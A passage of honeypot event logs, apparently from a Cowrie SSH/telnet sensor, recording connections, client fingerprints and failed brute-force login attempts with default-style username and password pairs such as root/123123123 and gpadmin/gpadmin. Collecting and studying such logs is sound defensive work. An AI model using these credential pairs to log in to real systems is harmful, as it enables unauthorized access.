sh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:36.765707Z","src_ip":"45.156.87.147","session":"6e3287c69510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:37.010265Z","src_ip":"45.156.87.147","session":"6e3287c69510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:38.096215Z","src_ip":"45.156.87.147","session":"6e3287c69510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47286,"dst_ip":"10.17.0.5","dst_port":22,"session":"31103b934886","protocol":"ssh","message":"New connection: 45.156.87.147:47286 (10.17.0.5:22) [session: 31103b934886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:42.217481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:42.221378Z","src_ip":"45.156.87.147","session":"31103b934886","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:42.305949Z","src_ip":"45.156.87.147","session":"31103b934886","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:42.551927Z","src_ip":"45.156.87.147","session":"31103b934886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:43.635462Z","src_ip":"45.156.87.147","session":"31103b934886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":59790,"dst_ip":"10.17.0.5","dst_port":22,"session":"97401e7295bd","protocol":"ssh","message":"New connection: 38.93.206.2:59790 (10.17.0.5:22) [session: 97401e7295bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:45.023564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:45.026883Z","src_ip":"38.93.206.2","session":"97401e7295bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:45.077155Z","src_ip":"38.93.206.2","session":"97401e7295bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":14538,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c77bd9b8d9a","protocol":"telnet","message":"New connection: 3.129.187.38:14538 (159.203.135.109:23) [session: 7c77bd9b8d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:45.111683Z"}
{"eventid":"cowrie.session.closed","duration":0.030914306640625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:45.142489Z","src_ip":"3.129.187.38","session":"7c77bd9b8d9a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"210580","message":"login attempt [root/210580] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:45.225356Z","src_ip":"38.93.206.2","session":"97401e7295bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:46.283009Z","src_ip":"38.93.206.2","session":"97401e7295bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47288,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d215ca0a64b","protocol":"ssh","message":"New connection: 45.156.87.147:47288 (10.17.0.5:22) [session: 0d215ca0a64b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:47.902497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:47.908865Z","src_ip":"45.156.87.147","session":"0d215ca0a64b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:48.015385Z","src_ip":"45.156.87.147","session":"0d215ca0a64b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"1234","message":"login attempt [main/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:48.283045Z","src_ip":"45.156.87.147","session":"0d215ca0a64b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:49.367680Z","src_ip":"45.156.87.147","session":"0d215ca0a64b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39482,"dst_ip":"10.17.0.5","dst_port":22,"session":"d26143f2da49","protocol":"ssh","message":"New connection: 45.156.87.147:39482 (10.17.0.5:22) [session: d26143f2da49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:53.521961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:53.526774Z","src_ip":"45.156.87.147","session":"d26143f2da49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:53.613734Z","src_ip":"45.156.87.147","session":"d26143f2da49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:53.857962Z","src_ip":"45.156.87.147","session":"d26143f2da49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":59572,"dst_ip":"159.203.135.109","dst_port":22,"session":"3747c562fc0e","protocol":"ssh","message":"New connection: 27.71.230.31:59572 (159.203.135.109:22) [session: 3747c562fc0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:54.685192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:54.721258Z","src_ip":"27.71.230.31","session":"3747c562fc0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:54.947516Z","src_ip":"45.156.87.147","session":"d26143f2da49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39484,"dst_ip":"10.17.0.5","dst_port":22,"session":"481a11936cf1","protocol":"ssh","message":"New connection: 45.156.87.147:39484 (10.17.0.5:22) [session: 481a11936cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:58.898717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:58.906396Z","src_ip":"45.156.87.147","session":"481a11936cf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:58.987628Z","src_ip":"45.156.87.147","session":"481a11936cf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:56:59.236129Z","src_ip":"45.156.87.147","session":"481a11936cf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:00.324357Z","src_ip":"45.156.87.147","session":"481a11936cf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53564,"dst_ip":"10.17.0.5","dst_port":22,"session":"b23feab82660","protocol":"ssh","message":"New connection: 45.156.87.147:53564 (10.17.0.5:22) [session: b23feab82660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:04.821670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:04.825606Z","src_ip":"45.156.87.147","session":"b23feab82660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:04.910487Z","src_ip":"45.156.87.147","session":"b23feab82660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:05.160859Z","src_ip":"45.156.87.147","session":"b23feab82660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.227.227.84","src_port":40731,"dst_ip":"10.17.0.5","dst_port":23,"session":"396b91a97399","protocol":"telnet","message":"New connection: 99.227.227.84:40731 (10.17.0.5:23) [session: 396b91a97399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:06.031344Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:06.243856Z","src_ip":"45.156.87.147","session":"b23feab82660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":53906,"dst_ip":"159.203.135.109","dst_port":23,"session":"330eaac4432e","protocol":"telnet","message":"New connection: 102.37.220.188:53906 (159.203.135.109:23) [session: 330eaac4432e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:08.248053Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33516,"dst_ip":"10.17.0.5","dst_port":22,"session":"95d78bf1107b","protocol":"ssh","message":"New connection: 45.156.87.147:33516 (10.17.0.5:22) [session: 95d78bf1107b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:10.623239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:10.626835Z","src_ip":"45.156.87.147","session":"95d78bf1107b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:10.706951Z","src_ip":"45.156.87.147","session":"95d78bf1107b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:10.955796Z","src_ip":"45.156.87.147","session":"95d78bf1107b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:12.040235Z","src_ip":"45.156.87.147","session":"95d78bf1107b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33528,"dst_ip":"10.17.0.5","dst_port":22,"session":"c591ee1880a7","protocol":"ssh","message":"New connection: 45.156.87.147:33528 (10.17.0.5:22) [session: c591ee1880a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:16.199911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:16.205350Z","src_ip":"45.156.87.147","session":"c591ee1880a7","protocol":"ssh"}
